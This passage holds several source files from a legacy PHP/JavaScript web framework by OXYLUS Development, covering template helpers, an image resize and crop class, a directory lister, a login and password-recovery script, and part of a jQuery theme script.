$this->private->templates["errors"]->blockReplace( "Error" , array( "msg" => $msg ) ); } function SuccessMsg($msg , $redirect = "") { $this->__init(); return $this->private->templates["errors"]->blockReplace( "Success" , array( "msg" => $msg, "redirect" => $redirect ? $this->private->templates["errors"]->blockReplace("Redirect" , array("url" => $redirect)) : "", ) ); } function Categories( $categories , $selected , $type) { global $base; $this->__init(); if (is_array($categories)) { foreach ($categories as $key => $val) { if ($val["cat_url"] == $_GET["cat"]) { $categories[$key]["selected"] = $this->private->templates["categories"]->blockReplace("Selected" , array()); } else { $categories[$key]["selected"] = ""; } } } //if there is only one category dont show the dropdown if (count($categories) < 2) { return ""; } //autodetect the menu type if (!in_array($type , array("1" , "2")) ) { if (count($categories) >3 ) { $type = "2"; } else { $type = "1"; } } switch ($type) { case "1": return $base->html->Table( $this->private->templates["categories"], "Menu", $categories ); break; case "2": return $base->html->Table( $this->private->templates["categories"], "Dropdown", $categories ); break; } } function Redirect404() { global $_CONF; $module = $this->module->plugins["modules"]->GetModuleById($this->vars->data["set_404"]); header("HTTP/1.1 404 Not Found"); header("Location: " . $this->module->plugins["modules"]->PrepareLink($module["mod_url"] . "/")); exit(); } /** * description * * @param * * @return * * @access */ function LinkTarget($target = "") { return $target ? " target=\"{$target}\" " : ""; } } ?>``` template.dynamic.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CTemplateDynamic{ function CTemplateDynamic($source , $source_type = "file") { $this->source = array( "file" => $source , "type" => $source_type ); $this->dynamic = true; } /** * description * * @param * * @return * * @access */ function Replace($vars , $clear) { $this->__checkObject(); return $this->template->Replace($vars , $clear); } function EmptyVars($vars = array()) { $this->__checkObject(); //if i have variables then dinamicaly replace them if (count($vars)) $this->template->Replace($vars , false); return $this->template->EmptyVars(); } function SwapIO() { $this->__checkObject(); $this->template->input = $this->template->output; } function Block($block) { $this->__checkObject(); if (!is_object($this->template->blocks[$block])) { $this->error($block); return NULL; } else { return $this->template->blocks[$block]->output; } } function BlockSetInput($block , $data) { $this->__checkObject(); if (!is_object($this->template->blocks[$block])) { $this->error($block); return NULL; } else { return $this->template->blocks[$block]->input = $data; } } function BlockReplace($block , $vars = array(), $clear = true) { $this->__checkObject(); if (!is_object($this->template->blocks[$block])) { $this->error($block); return NULL; } else { return $this->template->blocks[$block]->Replace($vars , $clear); } } function BlockEmptyVars($block , $vars , $clear = true) { $this->__checkObject(); if (!is_object($this->template->blocks[$block])) { $this->error($block); return NULL; } else { $this->template->blocks[$block]->Replace($vars , false); return $this->template->blocks[$block]->EmptyVars(); } } function BlockSwapIO($block) { $this->__checkObject(); if (!is_object($this->template->blocks[$block])) { $this->error($block); return NULL; } else { $this->template->blocks[$block]->input = $this->template->blocks[$block]->output; } } function __checkObject() { if (!is_object($this->template)) { $this->template = new CTemplate( $this->source["file"], $this->source["type"] ); } } function BlockExists() { $this->__checkObject(); if (func_num_args() > 0) { $blocks = func_get_args(); $error = true; for ($i = 0; $i < count($blocks); $i++) { if (!is_object($this->template->blocks[$blocks[$i]])) { return false; } } } return $error; } /** * description * * @param * * @return * * @access */ function Error($block) { CError::Msg(" <pre> CTemplateDynamic::BlockSwapIO::_invalid object - block: {$block} doesnt exist - template: {$this->source[file]} </pre> "); } } ?>``` image.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: image.php,v 0.0.1 03/03/2004 17:38:21 oxylus Exp $ forms generation class */ $CIMAGE_DEFAULT_QUALITY = "90"; class CImage { /** * description * * @var type * * @access type */ /** * unique library identifier * * @var string * * @access private */ var $name; /** * description * * @var type * * @access type */ var $types; /** * constructor which sets the lib`s name * * @param string $name unique library identifier * * @return void * * @acces public */ function CImage() { $this->name = "image"; } function ResizeImageByHeight( $source, $destination, $height ) { $src_img = $this->ReadImage($source); $old_height = $src_img["height"]; $old_width = $src_img["width"]; if ($height && $old_height) { $ratio = $height / $old_height; $width = $old_width * $ratio; $im = $this->NewImage($width , $height , $src_img["type"] , $src_img["image"]); ImageCopyResampled( $im["image"], $src_img["image"], 0, 0, 0, 0, $width, $height, $old_width, $old_height ); @ImageDestroy($src_img["image"]); $this->SaveImage( &$im["image"] , $im["type"] , $destination ); } else { copy($source , $destination); } } function ResizeImageByWidth( $source, $destination, $width ) { $src_img = $this->ReadImage($source); $old_height = $src_img["height"]; $old_width = $src_img["width"]; if ($width && $old_width) { $ratio = $width / $old_width; $height= $old_height * $ratio; $im = $this->NewImage($width , $height , $src_img["type"] , $src_img["image"]); ImageCopyResampled( $im["image"], $src_img["image"], 0, 0, 0, 0, $width, $height, $old_width, $old_height ); @ImageDestroy($src_img["image"]); $this->SaveImage( &$im["image"] , $im["type"] , $destination ); } else { copy($source , $destination); } } function NewImage($new_width , $new_height , $type , $src_img ) { $im = ImageCreateTrueColor ($new_width,$new_height); $white = imagecolorallocatealpha ($im, 255, 255, 255, 127); imagefill($im, 0, 0, $white); imagesavealpha( $im, true ); imagealphablending($im , true); if ( ($type == IMAGETYPE_GIF) || ($type == IMAGETYPE_PNG) ) { $trnprt_indx = imagecolortransparent($src_img); if ($trnprt_indx >= 0) { $trnprt_color = imagecolorsforindex($src_img, $trnprt_indx); $trnprt_indx = imagecolorallocate($im, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']); imagefill($im, 0, 0, $trnprt_indx); imagecolortransparent($im, $trnprt_indx); } } return array( "image" => $im , "type" => $type ); } function ReadImage($source) { $info = GetImageSize($source); switch ($info[2]) { case IMAGETYPE_GIF: $image = ImageCreateFromGIF($source); $type = IMAGETYPE_GIF; break; case IMAGETYPE_PNG: $image = ImageCreateFromPNG($source); $type = IMAGETYPE_PNG; break; case IMAGETYPE_JPEG: $image = ImageCreateFromJPEG($source); $type = IMAGETYPE_JPEG; break; } if ($image) { return array( "image" => $image, "type" => $type, "width" => imageSX($image), "height" => imageSY($image), ); } // returnuing error return false; } function SaveImage($image , $type , $destination) { global $CIMAGE_DEFAULT_QUALITY; if (($type == IMAGETYPE_GIF) && (imagetypes() & IMG_GIF)) { ImageGif( $image, $destination ); ImageDestroy($image); return true; } else { if (($type == IMAGETYPE_PNG) && (imagetypes() & IMG_PNG)) { Imagepng( $image, $destination ); ImageDestroy($image); return true; } else { ImageJpeg( $image, $destination, $CIMAGE_DEFAULT_QUALITY ); ImageDestroy($image); return true; } } //at this point i failed return false; } function CCrop( $source, $destination, $new_width, $new_height, $x, $y, $width, $height) { global $CIMAGE_DEFAULT_QUALITY; if (file_exists($source)) { $src_img = $this->ReadImage($source); $im = $this->NewImage($new_width , $new_height , $src_img["type"] , $src_img["image"]); ImageCopyResampled( $im["image"], $src_img["image"], 0, 0, $x, $y, $new_width, $new_height, $width, $height ); $this->SaveImage( &$im["image"] , $im["type"] , $destination ); @ImageDestroy($src_img["image"]); } } /** * description * * @param * * @return * * @access */ function Crop( $source , $destination , $resize_width , $resize_force = NULL, $border = NULL , $shadow = NULL , $texture = NULL , $texture_tile = NULL , $background = NULL , $quality = NULL , $watermark = array (), $resize_height = NULL ) { $resize = true; //if no height then set it to be the same with width if (!$resize_height) $resize_height = $resize_width; //use the max size to be resized $size = max($resize_width , $resize_height); if (file_exists($source)) { $src_img = $this->ReadImage($source); //return errorr, coudnt open the image if ($src_img === false) return false; //check if i need to resize the image first if ($resize == true) { $width = $src_img["width"]; $height = $src_img["height"]; $oRatio = $width / $height; $nRatio = $resize_width / $resize_height; if ($oRatio > $nRatio) { $nWidth = (int)$resize_width * ( $oRatio / $nRatio ); $nHeight = $resize_height; } else { $nHeight = (int)$resize_height * ( $nRatio / $oRatio ); $nWidth = $resize_width; } //generate the new image, overwrite the existing one $im = $this->NewImage($nWidth , $nHeight , $src_img["type"] , $src_img["image"]); ImageCopyResampled( $im["image"], $src_img["image"], 0, 0, 0, 0, $nWidth, $nHeight, $width, $height ); @ImageDestroy($src_img["image"]); $this->SaveImage( &$im["image"] , $im["type"] , $destination ); //overwrite with the new one $src_img = $im; } return true; } return false; } /** * description * * @param * * @return * * @access */ function CropSquare( $source, $destination, $size, $resize = true, $quality = 90 ) { if (!(int) $quality) $quality = 100; if (file_exists($source)) { $src_img = $this->ReadImage($source); //return errorr, coudnt open the image if ($src_img === false) return false; //check if i need to resize the image first if ($resize == true) { $width = $src_img["width"]; $height = $src_img["height"]; if ($width > $height) { $nheight = $size; $nwidth = (int) ( $size * ( $width / $height )); } else { $nwidth = $size; $nheight = (int) ($size * ($height / $width )); } //generate the new image, overwrite the existing one $im = $this->NewImage($nwidth , $nheight , $src_img["type"] , $src_img["image"]); ImageCopyResampled($im,$src_img,0,0,0,0,$nwidth,$nheight,$width,$height); @ImageDestroy($src_img["image"]); $this->SaveImage( &$im["image"] , $im["type"] , $destination ); } return true; } return false; } /** * description resize and process an image using gd or imagemagick * * @param string $source filename which will be processed * @param string $destination the output filename, if empty will be shonwd in browser, mime types must be set to jpeg * @param integer $resize_width width for output image * @param boolean $resize_force if set the image will be resized even if it is smaller the $resize_width * @param integer $border border width, for none set it to 0 * @param integer $shadow shadow size, for none set it to 0 * @param string $texture the backgroud texture, if NULL no texture will be used * @param boolean $texture_tile if true, the texture will be tiled else the texture will be streched to result image * @param array $background background rdb colors $background[0] -> red,$background[1] -> green,$background[2] -> blue * @param 0..100 $quality sets the output image quality (jpeg only) * * @return image * * @access public */ function ResizePro( $source , $destination , $resize_width , $resize_force = NULL, $border = NULL , $shadow = NULL , $texture = NULL , $texture_tile = NULL , $background = NULL , $quality = NULL , $watermark = array (), $resize_height = 0 ) { //manualy setuping the default values $resize_force = (($resize_force == "FALSE") || ($resize_force == "TRUE")) ? $resize_force : "FALSE"; $quality = (is_numeric($quality) && ($quality >= 0) && ($guality <= 100)) ? $quality : 90; //seting timelimit 0, lets hope not to be a stupid error there :] //set_time_limit(0); //if is gd loaded i try to use it, else i try using other methods if (extension_loaded("gd")) { // for fucking reasons i use imagick to convert it in jpeg $src_img = $this->ReadImage($source); $src_width = $src_img["width"]; $src_height = $src_img["height"]; $ratio = imagesx($src_img) / imagesy($src_img); $new_width = $resize_width; $new_height = $resize_width / $ratio; if ($new_height > $resize_height) { $new_height = $resize_height; $new_width = $resize_height * $ratio; } $new_width = min(round($new_width) , $resize_width); $new_height = min(round($new_height) , $resize_height); // creatuong the result image $im = $this->NewImage($new_width , $new_height , $src_img["type"] , $src_img["image"]); //resampling the image to new dimensions (int) ImageCopyResampled( $im["image"], $src_img["image"], 0, 0, 0, 0, $new_width, $new_height, $src_width, $src_height ); @ImageDestroy($src_img); //returning the result image $this->SaveImage( &$im["image"] , $im["type"] , $destination ); } return NULL; //for the momment i return nothing in time i will make a table of errors } /** * description resize and process an image using gd or imagemagick * * @param string $source filename which will be processed * @param string $destination the output filename, if empty will be shonwd in browser, mime types must be set to jpeg * @param integer $resize_width width for output image * @param boolean $resize_force if set the image will be resized even if it is smaller the $resize_width * @param integer $border border width, for none set it to 0 * @param integer $shadow shadow size, for none set it to 0 * @param string $texture the backgroud texture, if NULL no texture will be used * @param boolean $texture_tile if true, the texture will be tiled else the texture will be streched to result image * @param array $background background rdb colors $background[0] -> red,$background[1] -> green,$background[2] -> blue * @param 0..100 $quality sets the output image quality (jpeg only) * * @return image * * @access public */ function Resize( $source , $destination , $resize_width , $resize_force = NULL, $border = NULL , //deprecated $shadow = NULL , //deprecated $texture = NULL , //deprecated $texture_tile = NULL , //deprecated $background = NULL , //deprecated $quality = NULL , //deprecated - globaly controled $watermark = array (), $resize_height = 0 ) { //manualy setuping the default values $resize_force = (($resize_force == "FALSE") || ($resize_force == "TRUE")) ? $resize_force : "FALSE"; //seting timelimit 0, lets hope not to be a stupid error there :] //set_time_limit(0); //if is gd loaded i try to use it, else i try using other methods if (extension_loaded("gd")) { $src_img = $this->ReadImage($source); //check if the image its at the correct dimensions if (($resize_width == $src_img["width"]) && ($resize_height == $src_img["height"])) { copy ( $source , $destination); return true; } // seting the new dimensions if (($src_img["width"] > $resize_width) || ($resize_force == "TRUE")) { //setting the new dimensions $width = $resize_width; //if height exists then use the height if ($height == 0) $height = $src_img["height"] * ($resize_width / $src_img["width"] ); } else { // kepping the old dimensions $width = $src_img["width"]; $height = $src_img["height"]; } // creatuong the result image $im = $this->NewImage($width , $height , $src_img["type"] , $src_img["image"]); //resampling the image to new dimensions ImageCopyResampled($im["image"],$src_img["image"],0,0,0,0,$width,$height,$src_img["width"],$src_img["height"]); //add the watermark #NONFUNCTIONAL WILL BE UPDATED IN A FUTURE VERSION /* if (count($watermark)) { //debug($watermark,1); if (file_exists($watermark["file"])) { //check the params $watermark["pos_y"] = in_array($watermark["pos_y"], array("bottom" , "top" , "middle" , "random")) ? $watermark["pos_y"] : "bottom"; $watermark["pos_x"] = in_array($watermark["pos_x"], array("left" , "right" , "center" , "random")) ? $watermark["pos_x"] : "right"; //$wmImg = imageCreateFromGIF($watermark["file"]); $wmImg = imagecreatefrompng($watermark["file"]); imageAlphaBlending($wmImg, false); imageSaveAlpha($wmImg, true); switch ($watermark["pos_y"]) { case "bottom": $wmY = imageSY($im) - imageSY($wmImg); break; case "top": $wmY = 0; break; case "middle": $wmY = (int) ((imageSY($im) - imageSY($wmImg)) / 2); break; case "random": $wmY = (bool)rand(0,1) ? $margin : (imageSY($im) - imageSY($wmImg)); break; } switch ($watermark["pos_x"]) { case "left": $wmX = 0; break; case "center": $wmX = (int) ((imageSX($im) - imageSX($wmImg)) / 2); break; case "right": $wmX = imageSX($im) - imageSX($wmImg) ; break; case "random": $wmX = (bool)rand(0,1) ? $margin : (imageSX($im) - imageSX($wmImg)); break; } // Water mark process imageCopy($im, $wmImg, $wmX, $wmY, 0, 0, imageSX($wmImg), imageSY($wmImg));//, $watermark["transparency"]); } } */ $this->SaveImage( &$im["image"] , $im["type"] , $destination ); //destroing the temporary images @ImageDestroy($src_img); @ImageDestroy($im); @ImageDestroy($txt_img); } return NULL; //for the momment i return nothing in time i will make a table of errors } } /** History: v0.2 14 May 2010 Added more complex ResizeFunction Added CCrop function ( to be used with the flash widget for uploading images ) Removed ImageMagick Support, totaly useless Removed GetData, Get Type Added ResizeImageByWidth Added ResizeImageByHeight Added NewImage Added ReadImage Added SaveImage Updated all the code to use the NEW/READ/SAVE Image Full support for transparent PNG & GIF v0.1.3 Sometime in past Added height for Resize Added CropSquare, and support for not rectangle. Added wbmp support Added bmp support & php function fix v0.1.2 Thursday 14 August 2003 When using the ImageMagick, for animated gifs it creates multiple files when trying to convert in jpg. Now the library knows to search for .x files in tmp folder and to remove them after conversion. v0.1.1 Monday 29 April 2003 Add source file exists and texture file check Setuping the default values in the function body, good for lazy ppl If i detect image magick then i convert any images in jpeg format and after that i process it. If source image doens exist and empty image is created with an error text inside. adding border and resizing with image magick if PB_IMAGE_MAGICK is set to 1 Corected some bugs at temporary files. v0.1 Monday 28 April 2003 first version of image library knows how to detect the image type, to resize an image, to add border, dropshadow using GD functions only. ** function GetType($image,$return_type = 1) { function GetData($filename) { function Resize($source , $destination = "" , $resize_width = 135 ,$resize_force = FALSE, $border = 1 , $shadow = 5 , $texture = NULL , $texture_tile = FALSE , $background = array("255","255","255") , $quality = 85) { ** **/ ?>``` common.js ```/* OXYLUS Developement web framweork copyright (c) 2002-2005 OXYLUS Developement $Id: common.js,v 0.0.1 10/05/2005 20:38:15 Exp $ Dinamic libraries loader Note: tested in IE 5.0 , MOZILLA FIREFOX, OPERA contact: www.oxylus.ro devel@oxylus.ro office@oxyls.ro ALL THIS CODE IS THE PROPERTY OF OXYLUS DEVELOPEMENT. YOU CAN'T USE ANY OF THIS CODE WITHOUT A WRITTEN ACCORD BETWEEN YOU AND OXYLUS DEVELOPEMENT. ALL ILLEGAL USES OF CODE WILL BE TREATED ACCORDING THE LAWS FROM YOUR COUNTRY. THANK YOU FOR YOUR UNDERSTANDING. FOR MORE INFORMATION PLEASE CONTACT US AT: office@oxylus.ro */ function SelectElement(select,which) { for (var i = 0; i < select.options.length; i++) { if ( select.options[i].value == which ) select.options[i].selected=true; } } function RadioElement(radio,which) { for (var i = 0; i < radio.length; i++) { if ( radio[i].value == which ) radio[i].checked=true; } } function GetSelectText(select) { for (var i = 0; i < select.options.length; i++) { if ( select.options[i].selected == true ) return select.options[i].text; } } function GetSelectValue(select) { for (var i = 0; i < select.options.length; i++) { if ( select.options[i].selected == true ) return select.options[i].value; } } function NewWindow(mypage, myname, w, h, scroll) { var winl = (screen.width - w) / 2; var wint = (screen.height - h) / 2; winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',toolbar=no,menubar=no,statusbar=no,status=no,resizable=no' return window.open(mypage, myname, winprops) } function Name2Url( link ) { var replace = { "À" : "A", "Á" : "A", "Â" : "A", "Ã" : "A", "Ä" : "A", "Å" : "A", "Ç" : "C", "È" : "E", "É" : "E", "Ê" : "E", "Ë" : "E", "Ì" : "I", "Í" : "I", "Î" : "I", "Ï" : "I", "Ð" : "D", "Ñ" : "N", "Ò" : "O", "Ó" : "O", "Ô" : "O", "Õ" : "O", "Ö" : "O", "Ù" : "U", "Ú" : "U", "Û" : "U", "Ü" : "U", "Ý" : "Y", "Ţ" : "T", "Ť" : "T", "Š" : "S", "Ş" : "S", "Ŝ" : "S", "Ś" : "S", "Ř" : "R", "Ŕ" : "R", "Ń" : "N", "Ņ" : "N", "Ň" : "N", "à" : "a", "á" : "a", "â" : "a", "ã" : "a", "ä" : "a", "å" : "a", "ç" : "c", "è" : "e", "é" : "e", "ê" : "e", "ë" : "e", "ì" : "i", "í" : "i", "î" : "i", "ï" : "i", "ð" : "d", "ñ" : "n", "ò" : "o", "ó" : "o", "ô" : "o", "õ" : "o", "ö" : "o", "ù" : "u", "ú" : "u", "û" : "u", "ü" : "u", "ý" : "y", "ţ" : "t", "ť" : "t", "š" : "s", "ş" : "s", "ŝ" : "s", "ś" : "s", "ř" : "r", "ŕ" : "r", "ń" : "n", "ņ" : "n", "ň" : "n", " " : "-", "&" : "-and-", "?" : "", ":" : "-", ")" : "-", "(" : "-", "{" : "-", "}" : "-", "'" : "-", "/" : "-", "!" : "", "," : "-", "\"" : "", "(" : "-", ")" : "-", "'" : "", "'" : "", "__" : "-" } var data = link.trim(); for (i in replace){ data = str_replace( i , replace[i] , data); } while (data.indexOf("--") != -1){ data = str_replace( "--" , "-" , data); } return data; } function getAbsolutePos (el) { var r = { x: el.offsetLeft, y: el.offsetTop , width: el.offsetWidth, height: el.offsetHeight }; if (el.offsetParent) { var tmp = getAbsolutePos (el.offsetParent); r.x += tmp.x; r.y += tmp.y; } return r; }; function basename(path) { return path.replace(/\\/g,'/').replace( /.*\//, '' ); } function dirname(path) { return path.replace(/\\/g,'/').replace(/\/[^\/]*$/, '');; } ``` pre.private.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2005 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: after.private.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description predefined variables which are ment to be used just in the engine */ if (!isset($_TSM["FORMS.PRIVATE.ONLOAD"])) { $_TSM["FORMS.PRIVATE.ONLOAD"] = ""; } //load the security box if required if (file_exists("local/forms/after.forms.private.php")) { require_once "local/forms/after.forms.private.php"; } ?> ``` login.js ``` var __code = false; var __url_submit = "index.php?mod=auth&sub=ajax&action=login"; var __url_recover = "index.php?mod=auth&sub=ajax&action=recover"; function ShowForget() { pos = getAbsolutePos(document.getElementById("forgotLink")); form = document.getElementById("recoverForm"); form.style.top = (pos.y + 14) + "px"; form.style.left = pos.x + "px"; form.style.display = form.style.display == "block" ? "none" : "block"; if (form.style.display == "block") { document.getElementById("recoverEmail").focus(); } } function ShowError(txt){ document.getElementById("errorContent").innerHTML = txt; document.getElementById("errorMsg").style.display = "block"; } function ShowRecoverComplete(){ ShowError("<span style='color: green'>Please check your email for the new password!</span>"); } function SubmitForget() { var form = document.getElementById("recover"); var response = HTTPPostRequest( false, __url_recover, { "email" : form.email.value } ); switch (response) { case "invalid": ShowError("Invalid email!"); break; case "ok": ShowError("<span style='color: green'>Please check your email and follow the instructions there to finish the recover password process!</span>"); ShowForget(); break; } } function SubmitLogin(){ var form = document.getElementById("form"); if (!form.username.value || !form.password.value) { ShowError(__code ? "Please fill in all fields!" : "Please fill in both username and password!"); } else { var response = HTTPPostRequest( false, __url_submit, { "username" : form.username.value, "password" : form.password.value, "remember" : form.remember.checked ? "1" : "0", "code" : form.code.value } ); switch (response) { case "invalid": ShowError("Invalid account!"); break; case "password": ShowError("Invalid password!"); form.password.value = ""; form.password.focus(); break; case "ok": window.location.reload(); break; case "code": //show the fill in value document.getElementById("content").className = "fullform"; document.getElementById("security").src='index.php?global=security&date=' + (new Date()).getTime(); //reset the code form.code.value = ""; if (__code == true) { ShowError("Verification code and image must match!"); } else { ShowError("Enter the verification code in order to login!"); __code = true; } break; } } } ``` php_fix.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies ## fix for str_ireplace for php 5 if (!function_exists("str_ireplace")) { function str_Ireplace($search, $replace, $subject) { if (is_array($search)) { foreach ($search as $word) { $words[] = "/".$word."/i"; } } else { $words = "/".$search."/i"; } return preg_replace($words, $replace, $subject); } } ?>``` dir.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CDir{ var $tplvars; function CDir( $path , $ext = "", $recursive = false ) { $this->path = $path; $this->ext = $ext; $this->recursive = $recursive; $this->__readDir($path); return $this->_files; } /** * description * * @param * * @return * * @access */ function __readDir($path) { $d = dir($path); while (false !== ($entry = $d->read())) { if ($this->recursive && is_dir($path . "/" . $entry)) $this->__readDir($path . "/" . $entry); if (!is_dir($path . "/" . $entry)) { if ((($this->ext != "") && strstr($entry , $this->ext)) || ($this->ext == "")) { $this->_files[] = $path . "/" . $entry; } } } $d->close(); } /** * description * * @param * * @return * * @access */ function GetFiles($dir , $ext = false) { return CDir::__getfiles($dir , false , $ext) ; } /** * description * * @param * * @return * * @access */ function GetFilesRec($dir , $ext = false) { return CDir::__getfiles($dir , TRUE , $ext) ; } /** * description * * @param * * @return * * @access */ function __getfiles($dir , $rec = TRUE , $ext) { $array = array(); $d = dir($dir); while (false !== ($entry = $d->read())) { if($entry!='.' && $entry!='..') { $entry = $dir.'/'.$entry; if(is_dir($entry)) { if ($rec == true) //$array[] = $entry; $array = array_merge($array, CDir::__getfiles($entry , $rec , $ext)); } else { if (($ext && stristr($entry , $ext )) || !$ext) { $array[] = $entry; } } } } $d->close(); return $array; } } ?>``` fluxglide.js ```jQuery(function($) { /* ==================== DECLARATIONS ==================== */ var win = $(window), body = $('BODY'), mainMenu = $('UL#main-menu'), mainMenuCont = $('DIV.sc_menu_wrapper '), contentWrapper = $('DIV#content-wrapper'), navExtra = $('DIV#nav-extra'), navExtraList = $('UL#nav-extra-list'), bookmarkShareBtn = $('LI#bookmark-share-btn'), subscribeBtn = $('LI#subscribe-btn'), shoppingCartBtn = $('LI#shopping-cart-btn'), bookmarkSharePanel = $('DIV#bookmark-share-panel'), newsletterPanel = $('DIV#newsletter-panel'), shoppingCartPanel = $('DIV#shopping-cart-panel'), shoppingCartList = $('#shopping-cart-list'), orderCartList = $('#order-cart-list'), newsletterForm = $('FORM#newsletter-form'), newsletterFormSubmitBtn = $('INPUT#newsletter-form-submit-btn'), newsletterFormMsg = $('LI#newsletter-form-msg'), bgSlideshow = $('DIV#bg-slideshow'), bgImagesToResize = [], notification = $('<div class="see-through-bg" id="notification">wrewerwer</div>'), four_cols = $('UL.four-cols'), three_cols = $('UL.three-cols'), thumbs_listing = $('.thumbs-listing'), scroll_pane = $('.scroll-pane'), showreel = $('#showreel-module'); /* ================ POSITION ================ */ var getPosition = function(objW, objH, contW, contH, alignH, alignV, offsetH, offsetV) { if (typeof objW === 'number' && typeof objH === 'number' && typeof contW === 'number' && typeof contH === 'number') { if (typeof alignH !== 'string') alignH = 'center'; if (typeof alignV !== 'string') alignV = 'center'; if (typeof offsetH !== 'number') offsetH = 0; if (typeof offsetV !== 'number') offsetV = 0; var p = {}; if (alignH == 'left') { p.left = offsetH; } else if (alignH == 'right') { p.left = offsetH + contW - objW; } else { p.left = offsetH + Math.round((contW - objW) * 0.5); } if (alignV == 'top') { p.top = offsetV; } else if (alignV == 'bottom') { p.top = offsetV + contH - objH; } else { p.top = offsetV + Math.round((contH - objH) * 0.5); } return p; } return { left : 0, top : 0 } }; /* ============= SCALE ============= */ var getScale = function(objW, objH, contW, contH, scale) { if (typeof objW === 'number' && typeof objH === 'number' && typeof contW === 'number' && typeof contH === 'number') { if (typeof scale !== 'string') scale = 'forceFit'; var s = {}; if (scale == 'none' || scale == 'fit' && contW >= objW && contH >= objH || scale == 'fill' && contW <= objW && contH <= objH) { s.width = objW; s.height = objH; } else if (scale == 'stretch') { s.width = contW; s.height = contH; } else { var objR = objH > 0 ? objW / objH : 0; rFlag = objR < (contH != 0 ? contW / contH : 0); if ((scale == 'fill' || scale == 'forceFill') && !rFlag || (scale == 'fit' || scale == 'forceFit') && rFlag) { s.height = contH; s.width = Math.round(contH * objR); } else { s.width = contW; s.height = Math.round(objR != 0 ? contW / objR : 0); } } return s; } return { width : 0, height : 0 }; }; /* ==================== NOTIFICATION ==================== */ notification .fadeTo(0, 0) .css('display', 'none') .prependTo(body) .click(function(e) { hideNotification(); e.preventDefault(); }); var notificationTimer = false; var resetNotificationTimer = function() { if (notificationTimer != false) { clearTimeout(notificationTimer); notificationTimer = false; } } var showNotification = function(content) { resetNotificationTimer(); notification .stop() .fadeTo(0, 0) .html(content) .css('display', 'block') .fadeTo('slow', 1, function() { resetNotificationTimer(); notificationTimer = setTimeout(function() { hideNotification(); }, 2000); }); }; var hideNotification = function() { resetNotificationTimer(); notification .stop() .fadeTo('slow', 0, function() { notification.css('display', 'none'); }); }; /* ========================= CHECK OBJECT TYPE ========================= */ var is = function(kind, obj) { var className = Object.prototype.toString.call(obj).slice(8, -1); return (typeof obj !== 'undefined') && obj !== null && className === kind; }; /* ===================== ARRAY SHUFFLE ===================== */ var arrayShuffle = function(arr) { for (var i = arr.length; i > 1; --i) { arr.push(arr.splice(parseInt(Math.random() * i), 1)[0]); } }; /* ================================= FIX LAST ITEM OF USER BAR ================================= */ (function() { $('NAV#user-bar').children('UL').first().children('LI').last().addClass('last'); })(); /* ======================================= RADIO AND CHECKBOX REPLACEMENTS ======================================= */ /*(function() { var groups = {}; $('input[type=radio]').add('input[type=checkbox]').each(function() { var input = $(this), mark = $('<span>').addClass('check-box-mark'), checkbox = $('<span>').addClass('check-box').append(mark); if (input.attr('type') == 'radio') { var group = input.attr('name'); if (group) { if (!groups[group]) groups[group] = $('input[name=' + group + ']'); input.data('group', groups[group]); } } input.before(checkbox).appendTo(checkbox).change(function() { if (input.is(':checked')) { mark.css('display', 'block'); if (input.data('group')) input.data('group').not(input).change(); } else { mark.css('display', 'none'); } }).change(); }); groups = null; })();*/ /* ===================== GENERAL FIXES ===================== */ $('a[href=#]').removeAttr('href').addClass('nolink'); $('DIV.module').children('header').first().css('z-index', 150); /*$('TABLE').each(function() { var tr = $(this).find('TR'); tr.first().addClass('first'); tr.last().addClass('last'); tr.each(function() { var td = $(this).children('TD'); td.first().addClass('first'); td.last().addClass('last'); }); });*/ /* ================= DROP LIST ================= */ (function() { $('DIV.drop-list').each(function() { var self = $(this).removeClass('opened'), topBtn = self.children('span').first(), list = self.children('ul').first().fadeTo(0, 0).css('display','none'), opened = false; self.mousedown(function(e) { if (opened) { opened = false; list.stop().fadeTo('fast', 0, function() { self.removeClass('opened'); list.css('display', 'none') }); } else { opened = true; self.addClass('opened'); list.stop().css('display', 'block').fadeTo('fast', 1); } e.preventDefault(); }); }); })(); /* ================= MAIN MENU ================= */ (function() { mainMenu.children('li').has('ul').not('.selected').each(function() { var li = $(this); li.data('oh', li.height()) .data('ch', li.children('a').first().outerHeight()) .css('height', li.data('ch')) .hover(function() { li.stop().animate({ height: li.data('oh') }); }, function() { li.stop().animate({ height: li.data('ch') }); }); }); })(); /* ========================= VERIFICATION CODE ========================= */ $('.verification-code').each(function() { var vc = $(this), img = vc.find('IMG.verification-image').first(), refresh = vc.find('A.refresh-button').first(); img.click(function(e) { e.preventDefault(); }); refresh .data('code-src', refresh.attr('href')) .removeAttr('href') .click(function(e) { img.attr('src', refresh.data('code-src') + '?nc=' + (new Date).getTime()); e.preventDefault(); }); }); /* =================== TEXT INPUTS =================== */ $('INPUT[data-default-value]').each(function() { var inp = $(this); inp .focus(function() { if (inp.val() == inp.data('default-value')) inp.val(''); }) .blur(function() { if (inp.val() == '') inp.val(inp.data('default-value')); }); }); /* ================= AJAX FORM ================= */ var initAjaxForm = function(form, formSubmitBtn, formMsg) { if (form.length > 0) { var waitMsg = formMsg.html(); formMsg.empty(); form.submit(function(e) { formMsg.html(waitMsg); formSubmitBtn.attr('disabled', true); $.ajax( { url : form.attr('action'), type : form.attr('method'), data : form.serialize(), dataType : 'text', success : function(data) { formMsg.html(data); formSubmitBtn.attr('disabled', false); if (data.indexOf('class="success"') > 0) { if ((typeof form.attr('id') == 'undefined') || !jQuery.inArray ( form.attr("id") , ["dummy" , "account-info-form" , "shop-info-form" , "step1-form" , "step2-form" , 